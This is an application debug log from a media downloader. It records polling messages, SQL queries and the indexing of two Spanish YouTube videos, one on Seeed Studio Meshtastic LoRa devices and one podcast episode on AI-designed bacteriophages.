22:04:45.249 [debug] Current batch of media processed. Will check again in 1000ms 22:04:46.204 [debug] Current batch of media processed. Will check again in 1000ms 22:04:46.250 [debug] Current batch of media processed. Will check again in 1000ms 22:04:47.205 [debug] Current batch of media processed. Will check again in 1000ms 22:04:47.251 [debug] Current batch of media processed. Will check again in 1000ms 22:04:48.206 [debug] Current batch of media processed. Will check again in 1000ms 22:04:48.252 [debug] Current batch of media processed. Will check again in 1000ms 22:04:49.207 [debug] Current batch of media processed. Will check again in 1000ms 22:04:49.253 [debug] Current batch of media processed. Will check again in 1000ms 22:04:50.208 [debug] Current batch of media processed. Will check again in 1000ms 22:04:50.254 [debug] Current batch of media processed. Will check again in 1000ms 22:04:51.116 [info] {"source":"oban","duration":889,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 22:04:51.209 [debug] Current batch of media processed. Will check again in 1000ms 22:04:51.255 [debug] Current batch of media processed. Will check again in 1000ms 22:04:52.210 [debug] Current batch of media processed. Will check again in 1000ms 22:04:52.256 [debug] Current batch of media processed. Will check again in 1000ms 22:04:53.211 [debug] Current batch of media processed. Will check again in 1000ms 22:04:53.257 [debug] Current batch of media processed. Will check again in 1000ms 22:04:54.212 [debug] Current batch of media processed. Will check again in 1000ms 22:04:54.258 [debug] Current batch of media processed. Will check again in 1000ms 22:04:55.213 [debug] Current batch of media processed. Will check again in 1000ms 22:04:55.259 [debug] Current batch of media processed. Will check again in 1000ms 22:04:56.214 [debug] Current batch of media processed. Will check again in 1000ms 22:04:56.260 [debug] Current batch of media processed. Will check again in 1000ms 22:04:57.215 [debug] Current batch of media processed. Will check again in 1000ms 22:04:57.263 [debug] Current batch of media processed. Will check again in 1000ms 22:04:58.217 [debug] Current batch of media processed. Will check again in 1000ms 22:04:58.263 [debug] Current batch of media processed. Will check again in 1000ms 22:04:59.217 [debug] Current batch of media processed. Will check again in 1000ms 22:04:59.264 [debug] Current batch of media processed. Will check again in 1000ms 22:05:00.081 [info] {"source":"oban","duration":383,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 22:05:00.218 [debug] Current batch of media processed. Will check again in 1000ms 22:05:00.265 [debug] Current batch of media processed. Will check again in 1000ms 22:05:01.219 [debug] Current batch of media processed. Will check again in 1000ms 22:05:01.266 [debug] Current batch of media processed. Will check again in 1000ms 22:05:02.220 [debug] Current batch of media processed. Will check again in 1000ms 22:05:02.267 [debug] Current batch of media processed. Will check again in 1000ms 22:05:03.221 [debug] Current batch of media processed. Will check again in 1000ms 22:05:03.268 [debug] Current batch of media processed. Will check again in 1000ms 22:05:04.222 [debug] Current batch of media processed. Will check again in 1000ms 22:05:04.269 [debug] Current batch of media processed. Will check again in 1000ms 22:05:05.223 [debug] Current batch of media processed. Will check again in 1000ms 22:05:05.270 [debug] Current batch of media processed. Will check again in 1000ms 22:05:06.224 [debug] Current batch of media processed. Will check again in 1000ms 22:05:06.271 [debug] Current batch of media processed. Will check again in 1000ms 22:05:07.225 [debug] Current batch of media processed. Will check again in 1000ms 22:05:07.272 [debug] Current batch of media processed. Will check again in 1000ms 22:05:08.226 [debug] Current batch of media processed. Will check again in 1000ms 22:05:08.273 [debug] Current batch of media processed. Will check again in 1000ms 22:05:09.227 [debug] Current batch of media processed. Will check again in 1000ms 22:05:09.274 [debug] Current batch of media processed. Will check again in 1000ms 22:05:10.228 [debug] Current batch of media processed. Will check again in 1000ms 22:05:10.275 [debug] Current batch of media processed. Will check again in 1000ms 22:05:11.229 [debug] Current batch of media processed. Will check again in 1000ms 22:05:11.276 [debug] Current batch of media processed. Will check again in 1000ms 22:05:12.230 [debug] Current batch of media processed. Will check again in 1000ms 22:05:12.277 [debug] Current batch of media processed. Will check again in 1000ms 22:05:13.231 [debug] Current batch of media processed. Will check again in 1000ms 22:05:13.278 [debug] Current batch of media processed. Will check again in 1000ms 22:05:14.232 [debug] Current batch of media processed. Will check again in 1000ms 22:05:14.279 [debug] Current batch of media processed. Will check again in 1000ms 22:05:15.233 [debug] Current batch of media processed. Will check again in 1000ms 22:05:15.280 [debug] Current batch of media processed. Will check again in 1000ms 22:05:16.234 [debug] Current batch of media processed. Will check again in 1000ms 22:05:16.281 [debug] Current batch of media processed. Will check again in 1000ms 22:05:17.235 [debug] Current batch of media processed. Will check again in 1000ms 22:05:17.282 [debug] Current batch of media processed. Will check again in 1000ms 22:05:18.236 [debug] Current batch of media processed. Will check again in 1000ms 22:05:18.283 [debug] Current batch of media processed. Will check again in 1000ms 22:05:19.237 [debug] Current batch of media processed. Will check again in 1000ms 22:05:19.284 [debug] Current batch of media processed. Will check again in 1000ms 22:05:20.238 [debug] Current batch of media processed. Will check again in 1000ms 22:05:20.285 [debug] Current batch of media processed. Will check again in 1000ms 22:05:21.118 [info] {"source":"oban","duration":824,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 22:05:21.239 [debug] Current batch of media processed. Will check again in 1000ms 22:05:21.286 [debug] Current batch of media processed. Will check again in 1000ms 22:05:22.240 [debug] Current batch of media processed. Will check again in 1000ms 22:05:22.287 [debug] Current batch of media processed. Will check again in 1000ms 22:05:23.241 [debug] Current batch of media processed. Will check again in 1000ms 22:05:23.288 [debug] Current batch of media processed. Will check again in 1000ms 22:05:24.242 [debug] Current batch of media processed. Will check again in 1000ms 22:05:24.289 [debug] Current batch of media processed. Will check again in 1000ms 22:05:25.243 [debug] Current batch of media processed. Will check again in 1000ms 22:05:25.290 [debug] Current batch of media processed. Will check again in 1000ms 22:05:26.244 [debug] Current batch of media processed. Will check again in 1000ms 22:05:26.291 [debug] FileFollowerServer Handler: Got media attributes: %{"description" => "CODIGOS DE DESCUENTO DISPONIBLES VER MAS ABAJO.\n\nDatasheet T1000E:\nhttps://files.seeedstudio.com/products/SenseCAP/SenseCAP_Tracker_T1000_Datasheet.pdf\n\nEnlace compra T100E:\nhttps://www.seeedstudio.com/SenseCAP-Card-Tracker-T1000-E-for-Meshtastic-p-5913.html\nCODIGO DE DESCUENTO: A8OS6G1R\n\nEnlace compra Xiao ESP32S3 con caja 3D y antena:\nhttps://www.seeedstudio.com/XIAO-ESP32S3-for-Meshtastic-LoRa-with-3D-Printed-Enclosure-p-6314.html\nCODIGO DE DESCUENTO: Y2VSH0QZ\n\nEnlace compra Xiao ESP32S2 + Wio SX1262:\nhttps://www.seeedstudio.com/Wio-SX1262-with-XIAO-ESP32S3-p-5982.html\nCODIGO DE DESCUENTO: Y2VSH0QZ\n\nEnlace compra Xiao NRF52840 + Wio SX1262:\nhttps://www.seeedstudio.com/XIAO-nRF52840-Wio-SX1262-Kit-for-Meshtastic-p-6400.html\nCODIGO DE DESCUENTO: Y2VSH0QZ\n\nWiki Seeed Studio:\nhttps://wiki.seeedstudio.com/\n\nContenido del video ------------------------------\n\n00:00 - Presentación\n00:43 - Intro Canal\n01:01 - Seeed Studio T1000E\n13:20 - Wio SX1262 & Xiao ESP32S3\n16:52 - With 3D Printed enclosure\n21:44 - Probando la antena incluída\n23:52 - Seed Studio NRF52\n31:28 - Conclusiones\n\n#seeedstudio #t1000e #meshtastic #lora #radioaficionados #hamradio #diyelectronics #nrf52 #esp32s3\n\nLa música de la intro es un fragmento de Slighshot, de Steve Adams, en el dominio público.\nLa música de fondo es Indeep (c)2002 de Wagner García y Leonardo Segura, grabado en estudios Wagner Prat de Llobregat. Cedida para estos videos por su autor.", "duration" => 2036, "filename" => "/downloads/music/ea3grn/166 - PROBANDO SEEED STUDIO T1000E WIO SX1262 XIAO ESP32S3 NRF52.m4a", "id" => "6vVtKR6lEqA", "live_status" => "not_live", "original_url" => "https://www.youtube.com/watch?v=6vVtKR6lEqA", "playlist_index" => 14, "timestamp" => 1751559978, "title" => "166 - PROBANDO SEEED STUDIO T1000E WIO SX1262 XIAO ESP32S3 NRF52", "upload_date" => "20250703"} 22:05:26.293 [debug] QUERY OK source="sources" db=0.6ms idle=1559.5ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" IN (?)) [3] 22:05:26.294 [debug] QUERY OK source="sources" db=0.5ms idle=1561.2ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [3] 22:05:26.295 [debug] QUERY OK source="media_items" db=0.8ms idle=1561.9ms SELECT min(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2025-07-03 16:26:18Z], 3] 22:05:26.298 [debug] QUERY OK source="media_items" db=1.4ms idle=1274.2ms INSERT INTO "media_items" AS m0 ("description","title","uuid","duration_seconds","livestream","media_id","original_url","playlist_index","predicted_media_filepath","prevent_culling","prevent_download","short_form_content","source_id","subtitle_filepaths","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17,?18) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "duration_seconds" = ?, "livestream" = ?, "media_id" = ?, "original_url" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "source_id" = ?, "uploaded_at" = ? RETURNING "id" ["CODIGOS DE DESCUENTO DISPONIBLES VER MAS ABAJO.\n\nDatasheet T1000E:\nhttps://files.seeedstudio.com/products/SenseCAP/SenseCAP_Tracker_T1000_Datasheet.pdf\n\nEnlace compra T100E:\nhttps://www.seeedstudio.com/SenseCAP-Card-Tracker-T1000-E-for-Meshtastic-p-5913.html\nCODIGO DE DESCUENTO: A8OS6G1R\n\nEnlace compra Xiao ESP32S3 con caja 3D y antena:\nhttps://www.seeedstudio.com/XIAO-ESP32S3-for-Meshtastic-LoRa-with-3D-Printed-Enclosure-p-6314.html\nCODIGO DE DESCUENTO: Y2VSH0QZ\n\nEnlace compra Xiao ESP32S2 + Wio SX1262:\nhttps://www.seeedstudio.com/Wio-SX1262-with-XIAO-ESP32S3-p-5982.html\nCODIGO DE DESCUENTO: Y2VSH0QZ\n\nEnlace compra Xiao NRF52840 + Wio SX1262:\nhttps://www.seeedstudio.com/XIAO-nRF52840-Wio-SX1262-Kit-for-Meshtastic-p-6400.html\nCODIGO DE DESCUENTO: Y2VSH0QZ\n\nWiki Seeed Studio:\nhttps://wiki.seeedstudio.com/\n\nContenido del video ------------------------------\n\n00:00 - Presentación\n00:43 - Intro Canal\n01:01 - Seeed Studio T1000E\n13:20 - Wio SX1262 & Xiao ESP32S3\n16:52 - With 3D Printed enclosure\n21:44 - Probando la antena incluída\n23:52 - Seed Studio NRF52\n31:28 - Conclusiones\n\n#seeedstudio #t1000e #meshtastic #lora #radioaficionados #hamradio #diyelectronics #nrf52 #esp32s3\n\nLa música de la intro es un fragmento de Slighshot, de Steve Adams, en el dominio público.\nLa música de fondo es Indeep (c)2002 de Wagner García y Leonardo Segura, grabado en estudios Wagner Prat de Llobregat. Cedida para estos videos por su autor.", "166 - PROBANDO SEEED STUDIO T1000E WIO SX1262 XIAO ESP32S3 NRF52", "48fe137f-5f72-4416-bb46-8575f0c554c7", 2036, false, "6vVtKR6lEqA", "https://www.youtube.com/watch?v=6vVtKR6lEqA", 14, "/downloads/music/ea3grn/166 - PROBANDO SEEED STUDIO T1000E WIO SX1262 XIAO ESP32S3 NRF52.m4a", false, false, false, 3, [], 98, ~U[2025-07-03 16:26:18Z], ~U[2026-02-07 21:05:26Z], ~U[2026-02-07 21:05:26Z], "CODIGOS DE DESCUENTO DISPONIBLES VER MAS ABAJO.\n\nDatasheet T1000E:\nhttps://files.seeedstudio.com/products/SenseCAP/SenseCAP_Tracker_T1000_Datasheet.pdf\n\nEnlace compra T100E:\nhttps://www.seeedstudio.com/SenseCAP-Card-Tracker-T1000-E-for-Meshtastic-p-5913.html\nCODIGO DE DESCUENTO: A8OS6G1R\n\nEnlace compra Xiao ESP32S3 con caja 3D y antena:\nhttps://www.seeedstudio.com/XIAO-ESP32S3-for-Meshtastic-LoRa-with-3D-Printed-Enclosure-p-6314.html\nCODIGO DE DESCUENTO: Y2VSH0QZ\n\nEnlace compra Xiao ESP32S2 + Wio SX1262:\nhttps://www.seeedstudio.com/Wio-SX1262-with-XIAO-ESP32S3-p-5982.html\nCODIGO DE DESCUENTO: Y2VSH0QZ\n\nEnlace compra Xiao NRF52840 + Wio SX1262:\nhttps://www.seeedstudio.com/XIAO-nRF52840-Wio-SX1262-Kit-for-Meshtastic-p-6400.html\nCODIGO DE DESCUENTO: Y2VSH0QZ\n\nWiki Seeed Studio:\nhttps://wiki.seeedstudio.com/\n\nContenido del video ------------------------------\n\n00:00 - Presentación\n00:43 - Intro Canal\n01:01 - Seeed Studio T1000E\n13:20 - Wio SX1262 & Xiao ESP32S3\n16:52 - With 3D Printed enclosure\n21:44 - Probando la antena incluída\n23:52 - Seed Studio NRF52\n31:28 - Conclusiones\n\n#seeedstudio #t1000e #meshtastic #lora #radioaficionados #hamradio #diyelectronics #nrf52 #esp32s3\n\nLa música de la intro es un fragmento de Slighshot, de Steve Adams, en el dominio público.\nLa música de fondo es Indeep (c)2002 de Wagner García y Leonardo Segura, grabado en estudios Wagner Prat de Llobregat. Cedida para estos videos por su autor.", "166 - PROBANDO SEEED STUDIO T1000E WIO SX1262 XIAO ESP32S3 NRF52", 2036, false, "6vVtKR6lEqA", "https://www.youtube.com/watch?v=6vVtKR6lEqA", "/downloads/music/ea3grn/166 - PROBANDO SEEED STUDIO T1000E WIO SX1262 XIAO ESP32S3 NRF52.m4a", false, 3, ~U[2025-07-03 16:26:18Z]] 22:05:26.303 [debug] QUERY OK source="sources" db=0.6ms queue=4.8ms idle=274.5ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" = ?) [3] 22:05:26.304 [debug] QUERY OK source="media_profiles" db=0.6ms idle=10.6ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 22:05:26.305 [debug] QUERY OK source="media_items" db=0.5ms idle=9.9ms SELECT 1 FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) LIMIT 1 [1312] 22:05:26.305 [debug] Current batch of media processed. Will check again in 1000ms 22:05:27.249 [debug] Current batch of media processed. Will check again in 1000ms 22:05:27.307 [debug] Current batch of media processed. Will check again in 1000ms 22:05:28.249 [debug] Current batch of media processed. Will check again in 1000ms 22:05:28.308 [debug] Current batch of media processed. Will check again in 1000ms 22:05:29.250 [debug] Current batch of media processed. Will check again in 1000ms 22:05:29.309 [debug] Current batch of media processed. Will check again in 1000ms 22:05:30.251 [debug] Current batch of media processed. Will check again in 1000ms 22:05:30.310 [debug] Current batch of media processed. Will check again in 1000ms 22:05:31.253 [debug] Current batch of media processed. Will check again in 1000ms 22:05:31.311 [debug] Current batch of media processed. Will check again in 1000ms 22:05:32.254 [debug] Current batch of media processed. Will check again in 1000ms 22:05:32.312 [debug] Current batch of media processed. Will check again in 1000ms 22:05:33.255 [debug] Current batch of media processed. Will check again in 1000ms 22:05:33.313 [debug] Current batch of media processed. Will check again in 1000ms 22:05:34.256 [debug] Current batch of media processed. Will check again in 1000ms 22:05:34.314 [debug] Current batch of media processed. Will check again in 1000ms 22:05:35.257 [debug] Current batch of media processed. Will check again in 1000ms 22:05:35.315 [debug] Current batch of media processed. Will check again in 1000ms 22:05:36.258 [debug] Current batch of media processed. Will check again in 1000ms 22:05:36.316 [debug] Current batch of media processed. Will check again in 1000ms 22:05:37.259 [debug] Current batch of media processed. Will check again in 1000ms 22:05:37.317 [debug] Current batch of media processed. Will check again in 1000ms 22:05:38.260 [debug] Current batch of media processed. Will check again in 1000ms 22:05:38.318 [debug] Current batch of media processed. Will check again in 1000ms 22:05:39.261 [debug] Current batch of media processed. Will check again in 1000ms 22:05:39.319 [debug] Current batch of media processed. Will check again in 1000ms 22:05:40.262 [debug] Current batch of media processed. Will check again in 1000ms 22:05:40.320 [debug] Current batch of media processed. Will check again in 1000ms 22:05:41.263 [debug] Current batch of media processed. Will check again in 1000ms 22:05:41.321 [debug] Current batch of media processed. Will check again in 1000ms 22:05:42.265 [debug] FileFollowerServer Handler: Got media attributes: %{"description" => "#IAMIQUE 👉🏼 Ep3️⃣6️⃣: Y la IA creo Vida 🦠👶🏻\n\nBueno hoy es de esos capítulos que nos encanta por que podemos hablar de dos de las pasiones de David García Martínez y mía. Podemos hablar de IA y podemos hablar sobre todo de genética, ciencia, salud y longevidad.\n\nHoy vamos a explicar como la IA ha creado vida, en concreto 16 virus bacteriófagos. y para que esto nos puede servir de manera positiva... la mala ya hemos visto muchas películas.\n\nY SI!!!! tiene que ver con tu genética y con tu salud a corto plazo!!!!!\n\ny por fa 🙏 (si quieres ayudarnos) :\n\n👐🏼 Dale a Compartir para darnos visibilidad\n ✍🏼 Escribe un comentario, opina!\n 🫶🏼 y ya la leche.... darnos un like (o no)\n 🫵🏼 y siempre .... contamos contigo\n\n\n✅🗃️Y dale a guardar para ver el video mas tarde si ahora no tienes tiempo, lo puedes hacer desde los tres puntos de la esquina superior derecha ▫️▫️▫️\n\n\n#iamique #Origen #IAGen #genai #virus #Bacteriofagos #biotech #genetica \n\nSigue a nuestras compañías también: \n👉🏼 ORIGEN CORPORACIÓN BIOTECH\n👉🏼 lifely by Origen Genetics", "duration" => 813, "filename" => "/downloads/music/IA mí QUÉ/EP.36: LA IA HA CREADO VIDA.m4a", "id" => "X5NaNMFAhZI", "live_status" => "not_live", "original_url" => "https://www.youtube.com/watch?v=X5NaNMFAhZI", "playlist_index" => 14, "timestamp" => 1762502352, "title" => "EP.36: LA IA HA CREADO VIDA", "upload_date" => "20251107"} 22:05:42.267 [debug] QUERY OK source="sources" db=0.7ms queue=0.1ms idle=531.2ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" IN (?)) [2] 22:05:42.269 [debug] QUERY OK source="sources" db=0.5ms idle=533.8ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [2] 22:05:42.270 [debug] QUERY OK source="media_items" db=0.7ms idle=534.9ms SELECT min(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2025-11-07 07:59:12Z], 2] 22:05:42.294 [debug] QUERY OK source="media_items" db=22.8ms idle=536.3ms INSERT INTO "media_items" AS m0 ("description","title","uuid","duration_seconds","livestream","media_id","original_url","playlist_index","predicted_media_filepath","prevent_culling","prevent_download","short_form_content","source_id","subtitle_filepaths","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17,?18) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "duration_seconds" = ?, "livestream" = ?, "media_id" = ?, "original_url" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "source_id" = ?, "uploaded_at" = ? RETURNING "id" ["#IAMIQUE 👉🏼 Ep3️⃣6️⃣: Y la IA creo Vida 🦠👶🏻\n\nBueno hoy es de esos capítulos que nos encanta por que podemos hablar de dos de las pasiones de David García Martínez y mía. Podemos hablar de IA y podemos hablar sobre todo de genética, ciencia, salud y longevidad.\n\nHoy vamos a explicar como la IA ha creado vida, en concreto 16 virus bacteriófagos. y para que esto nos puede servir de manera positiva... la mala ya hemos visto muchas películas.\n\nY SI!!!! tiene que ver con tu genética y con tu salud a corto plazo!!!!!\n\ny por fa 🙏 (si quieres ayudarnos) :\n\n👐🏼 Dale a Compartir para darnos visibilidad\n ✍🏼 Escribe un comentario, opina!\n 🫶🏼 y ya la leche.... darnos un like (o no)\n 🫵🏼 y siempre .... contamos contigo\n\n\n✅🗃️Y dale a guardar para ver el video mas tarde si ahora no tienes tiempo, lo puedes hacer desde los tres puntos de la esquina superior derecha ▫️▫️▫️\n\n\n#iamique #Origen #IAGen #genai #virus #Bacteriofagos #biotech #genetica \n\nSigue a nuestras compañías también: \n👉🏼 ORIGEN CORPORACIÓN BIOTECH\n👉🏼 lifely by Origen Genetics", "EP.36: LA IA HA CREADO VIDA", "00e922ed-74cc-4ea4-81c9-ffe6b75d19a2", 813, false, "X5NaNMFAhZI", "https://www.youtube.com/watch?v=X5NaNMFAhZI", 14, "/downloads/music/IA mí QUÉ/EP.36: LA IA HA CREADO VIDA.m4a", false, false, false, 2, [], 98, ~U[2025-11-07 07:59:12Z], ~U[2026-02-07 21:05:42Z], ~U[2026-02-07 21:05:42Z], "#IAMIQUE 👉🏼 Ep3️⃣6️⃣: Y la IA creo Vida 🦠👶🏻\n\nBueno hoy es de esos capítulos que nos encanta por que podemos hablar de dos de las pasiones de David García Martínez y mía. Podemos hablar de IA y podemos hablar sobre todo de genética, ciencia, salud y longevidad.\n\nHoy vamos a explicar como la IA ha creado vida, en concreto 16 virus bacteriófagos. y para que esto nos puede servir de manera positiva... la mala ya hemos visto muchas películas.\n\nY SI!!!! tiene que ver con tu genética y con tu salud a corto plazo!!!!!\n\ny por fa 🙏 (si quieres ayudarnos) :\n\n👐🏼 Dale a Compartir para darnos visibilidad\n ✍🏼 Escribe un comentario, opina!\n 🫶🏼 y ya la leche.... darnos un like (o no)\n 🫵🏼 y siempre .... contamos contigo\n\n\n✅🗃️Y dale a guardar para ver el video mas tarde si ahora no tienes tiempo, lo puedes hacer desde los tres puntos de la esquina superior derecha ▫️▫️▫️\n\n\n#iamique #Origen #IAGen #genai #virus #Bacteriofagos #biotech #genetica \n\nSigue a nuestras compañías también: \n👉🏼 ORIGEN CORPORACIÓN BIOTECH\n👉🏼 lifely by Origen Genetics", "EP.36: LA IA HA CREADO VIDA", 813, false, "X5NaNMFAhZI", "https://www.youtube.com/watch?v=X5NaNMFAhZI", "/downloads/music/IA mí QUÉ/EP.36: LA IA HA CREADO VIDA.m4a", false, 2, ~U[2025-11-07 07:59:12Z]] 22:05:42.295 [debug] QUERY OK source="sources" db=0.4ms idle=220.0ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" = ?) [2] 22:05:42.296 [debug] QUERY OK source="media_profiles" db=0.4ms queue=0.1ms idle=28.6ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 22:05:42.296 [debug] QUERY OK source="media_items" db=0.5ms idle=27.0ms SELECT 1 FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) LIMIT 1 [1266] 22:05:42.297 [debug] Current batch of media processed. Will check again in 1000ms 22:05:42.322 [debug] Current batch of media processed. Will check again in 1000ms 22:05:43.297 [debug] Current batch of media processed. Will check again in 1000ms 22:05:43.323 [debug] Current batch of media processed. Will check again in 1000ms 22:05:44.298 [debug] Current batch of media processed. Will check again in 1000ms 22:05:44.324 [debug] Current batch of media processed. Will check again in 1000ms 22:05:45.299 [debug] Current batch of media processed. Will check again in 1000ms 22:05:45.325 [debug] Current batch of media processed. Will check again in 1000ms 22:05:46.300 [debug] Current batch of media processed. Will check again in 1000ms 22:05:46.326 [debug] Current batch of media processed. Will check again in 1000ms 22:05:47.301 [debug] Current batch of media processed. Will check again in 1000ms 22:05:47.327 [debug] Current batch of media processed. Will check again in 1000ms 22:05:48.302 [debug] Current batch of media processed. Will check again in 1000ms 22:05:48.328 [debug] Current batch of media processed. Will check again in 1000ms 22:05:49.303 [debug] Current batch of media processed. Will check again in 1000ms 22:05:49.329 [debug] Current batch of media processed. Will check again in 1000ms 22:05:50.304 [debug] Current batch of media processed. Will check again in 1000ms 22:05:50.330 [debug] Current batch of media processed. Will check again in 1000ms 22:05:51.120 [info] {"source":"oban","duration":1615,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 